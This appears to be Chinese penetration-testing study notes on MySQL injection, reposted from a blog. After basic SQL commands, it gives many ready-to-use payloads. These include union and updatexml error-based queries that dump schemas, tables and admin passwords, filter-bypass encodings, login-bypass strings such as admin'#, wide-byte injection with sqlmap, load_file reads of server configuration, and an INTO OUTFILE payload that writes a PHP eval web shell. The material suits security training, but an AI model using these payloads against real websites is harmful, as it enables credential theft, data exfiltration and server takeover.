11.mysql注入

lamp
lnmp
linux apache mysql php
linux nginx mysql php

碰见的企业站 php 大多是用的mysql站

1 Mysql 介绍与常规操作
2 Mysql 注入原理
3 Mysql 显错注入
4 Mysql 读写文件
5 Mysql 注入工具使用

Mysql是跨平台的,在windows和linux都可以使用

常见的sql语句

1、说明:创建数据库
CREATE DATABASE database-name

2、说明:删除数据库
drop database dbname

3、说明:创建新表
CREATE?TABLE?MYTABLE?(name?VARCHAR(20),?sex?CHAR(1));

4、查看数据库
show databases;

插入数据
insert into admin(username,password) value ('admin','admin');

查询数据
select * from admin;

更新修改数据
update admin set password='adsdf' where id = 1;

删除数据
delete from admin where id =1 ;


进入mysql命令行里:

show databases; 查看系统有哪些数据库

use mysql; 调用mysql



create database xy; 创建xy数据库
drop database xy; 删除xy数据库

在xy数据库中创建表
1.use xy; 进入xy数据库
2.show tables; 查看数据库里边的表
3.create table admin(id int,username char(50),password char(50));
创建了个admin表,增加了三个列,di,username,password


select * from admin; 查询admin表里的所有列内容
select * from ad min where id = 1; 指定条件查找,查找admin表里id为1的一行数据
select username,password from admin; 查询admin表的username,password 两列数据

insert into admin(id,username,password)values(1,'admin','admin888'); 插入一行数据到admin表里。
insert into admin(id,username,password)values(1,'admin','admin888'),(2,'faghan','admin123');同时插入两行数据
insert into admin(id,username,password)values(1,'admin',md5('admin888'));调用md5函数对插入数据加密


update admin set password='123123' where id =1; 将id为1 这行的password改成123123

delete from admin where id =1; 删除admin表里di为1的这一行

drop table admin; 删除admin表
drop database xxy; 删除库

Mysql 函数

需要借助select 来进行执行的
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统

必须记下的:
select user(); 查看链接数据库账号
select version(); 查看数据库版本
select database(); 查看当前使用的数据库
select @@basedir; 查看看数据库安装路径,可以推理出根目录,导shell会用
select @@datadir; 查看数据库安装路径, 系统管理员账号是存在mysql这个库里的
mysql里有一个user表,记录管理员账号和密码。
开启外连的方法:
找到工具包数据管理工具:《开启数据外联》
集成环境里找到d:/phpstudy/mysql 就等于找到了d:/phpstudy/apache/conf/httpd.conf配置文件,读取配置文件就等于找到了根目录

相关函数1

mid()---从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

// select mid(password,4) from user; 截止user表里password字段第4行开始截取到末尾,显错注入会用到


相关函数2

limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
//select password from user limit 0,2;


其m指记录始index0始表示第条记录 n指第m+1条始取n条
select * from user limit 1,2;
Count()---聚集函数,统计元祖的个数
rand()---用于产生一个0~1的随机数
floor()---向下取整


相关函数3

group by---依据我们想要的规则对结果进行分组
length()---返回字符串的长度
select length('www.cracer.com');
例如:select length (password) from user limit 0,2;
Substr()---截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)
select substr(host,2,3) from user;重要
Ascii()---返回字符串的ascii码
Select ascii(‘a’); 重要
select load_file('d:/q.txt') 读文件内容,借助查询的文件访问带dnslog
select “<?php phpinfo();?>” into outfile 'd:/1.php' 导shell文件

写文件得要满足一下几个条件:
1.root权限
2.需要关闭魔术引号
3.找到根目录
4.weindows可以 ,linuxroot权限不一定可以
5.--secure-file-priv 设置null 设置允许导入路径


Mysql注释

单行注释可以用:
#--
%23
/*sdafa*/ 多行注释
/*!select vesrsion()*/ 内联注释 是可以包裹函数的
/*!10000select*/version(); 也可以执行
/*!55555select*/version();


+ %0 %0d/*sdfsaf*/ 代替空格
union select

id=1 aandnd 1=1
AnD 1=1
A%01ND 1=1
把你所有的注入语句都用url编码一次

Mysql 注入原理


Mysql注入类型:
1.boole盲注
2.时间盲注
3.union联合查询
4.多语句
5.显错注入

and 1=1 1=2返回正常不正常,属于//boole盲注
and sleep(5) 属于时间盲注
order by 10-- 这属于联合查询

id7-1

借助SQLI--MYSQL--unlon select statement(指定10列)如果返回正常就得让他报错 - 或者and 1=2

然后在查询:
id=12 and 1=2 union select 1,user()2,3,4,5,6,7,8,9,10

爆所有表名
id=7 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()

指定表列
id=7 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name='manage_user'
ps:可以用小葵工具把manage_user转为16进制,这样既不用单引号了

爆密码
id=7 and 1=2 union select 1,group_concat(m_name.0x5c,m_pwd),3,4,5,6,7,8,9,10 from manage_user
0x5c只是作为一个区分而已


常见的防注入代码

常见的防注入代码绕过

id=1 aandnd 1=1
AnD 1=1
A%01ND 1=1
把你所有的注入语句都用url编码一次


MYSQL显错注入:

/ -1 都没用正常,但是'却报错了。

显错注入的代码如何写的呢?

select * from admin where id='1' 这时候你在id='1'' 加入了单引号导致闭合了
探测显错注入,用单引号导致闭合

显错注入有很多函数
floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、 polygon()、multipolygon()、linestring()、multilinestring()、exp()
常用的前三种比较多
我们今天讲些
updatexml的显错利用

注入:

id= 1 'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //查看当前数据库用户
id=1 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ // #查看当前数据库名

'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #查看当前数据库


'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+ #查看当前数据库

'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1)--+ #查看当前数据库


'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+ #查看所有数据库


'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,updatexml()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位 这里查询前5位示意:

'and updatexml(1,concat(0x7e,substring(hex((select database())),1,5),0x7e),1)
'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,5),0x7e),1)--+

显错注入:

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 查询当前数据库的表,第一个表
第二个表就是limit 1,1


'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+ 查询user列名

第二列就是 limit 1,1

列账号密码

'and updatexml(1,concat(0x7e,(select username from user limit 0,1),0x7e),1)--+

'and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)--+

如果是Md5的密码会少一个,这时候就得截取长度 从第30位

'and updatexml(1,concat(0x7e,(select mid(password,30) from user limit 0,1),0x7e),1)--+


substring
%27and%20updatexml(1,concat(0x7e,substring(hex((select%20password%20from%20user%20limit%200,1)),1,30),0x7e),1)--+


后台绕过
一般后台加'号也是显错注入
因为他也是用'来 闭合的

这时候就要 考虑万能秘钥了


在知道用户名为admin不知道密码的前提下可以这样写
代码的语句:select * from user where username='' and password=''
用户admin'# //单引号是闭合前面的语句,后面的#号是注释掉验证

用户admin'or 1=1#
admin' or '1'='1'#

如果用括号括起来的就这样

admin') or 1=1#


Mysql长字节截断攻击

条件:
管理员和普通用户在一个表中
用户名字段长度有一定限制比如长度为10个字符
普通用户在注册名称的时候可以吧用户名设置为
Admin+++++++++++++++++++++++++
使其长度超过字段限制的长度,会自动截断,变成admin
这样相当于增加了个admin管理员账号密码。


宽字节注入
使用宽字节注入绕过魔术引号
%df%27
sqlmap.py -u “cracer.com/xx.php?id=1”
--risk 3 --dbms=mysql -p username --tamper
unmagicquotes.py -v 3
魔术引号的开启范围:
魔术本身自带开启
php5.2.17版本默认开启魔术引号

//在你所有的符号前加一个/让你输入的/'"东西都不起作用

在主语语句前面加%bf就能过掉宽字节但不百分百过掉,可以过GBK编码-windows
如果是utf-8 linux的就不可以

Mysql 读写文件操作


Mysql注入读写文件
load_file()函数
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
例如:
d:/www/xx/index.php
/usr/src/apache/htdoc/index.php
注意:
1.路径符号 "" 错误“\”正确 “/” 正确
2.转换十六进制数,就不要‘’

获取根目录

1.报错显示
2.谷歌黑客 site:目标网站 warning
3.遗留文件 phpinfo info test php
4.漏洞爆路径
5.读取配置文件


读取网站文件内容
and 1=2 union select 1,load_file('C:\Inetpub\wwwroot\mysql-sql\inc\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

and 1=2 union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

c:/windows/system32/inetsrv/metabase.xml //iis也可以读iis的配置文件

如果开启魔术引号就把路径转成16进制在用括号括起来就行
路径要挟反斜杠

写入函数 into outfile

and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.txt'

再次说明写文件需要满足条件,1.root 权限 2.关闭魔术引号 3.找到根目录 4.windows可以 5.--secure-file-priv 设置null 设置允许导入路径

渗透路慢慢,那个人叫方寒
原文地址:https://www.cnblogs.com/fanghan/p/13899141.html